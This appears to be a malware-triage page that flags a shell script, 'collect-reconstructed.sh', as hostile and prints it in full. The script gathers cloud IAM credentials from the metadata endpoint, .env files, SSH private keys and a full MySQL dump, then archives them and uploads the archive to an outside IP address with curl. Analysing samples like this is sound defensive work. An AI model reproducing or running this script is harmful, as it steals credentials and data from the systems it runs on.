Hostile 98% linux Download

collect-reconstructed.sh

Environment and SSH-key copy commands togetherEnvironment-file copy beside archive upload
SHA-256ff2045e5b1e67db53ac2dfdeb2745ee5c64f8a258ba5f60d70f9000a776565c6

Evidence

curl file-backed body option text lines 1–10
1#!/bin/sh
2stage=$(mktemp -d /tmp/loot.XXXXXX)
3mkdir -p "$stage/00-identity" "$stage/23-crypto-candidates"
4id > "$stage/00-identity/id.txt"
5curl -fsS http://169.254.169.254/latest/meta-data/iam/security-credentials/ > "$stage/role.txt"
6find /var/www /home -name .env -type f -exec cp --parents {} "$stage" \;
7find /home -name id_rsa -type f -exec cp --parents {} "$stage/23-crypto-candidates" \;
8mysqldump --all-databases > "$stage/databases.sql"
9tar -czf /tmp/collected.tgz -C "$stage" .
10curl -sS -X POST --data-binary @/tmp/collected.tgz http://206.245.153.56:8088/176/collected.tgz

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.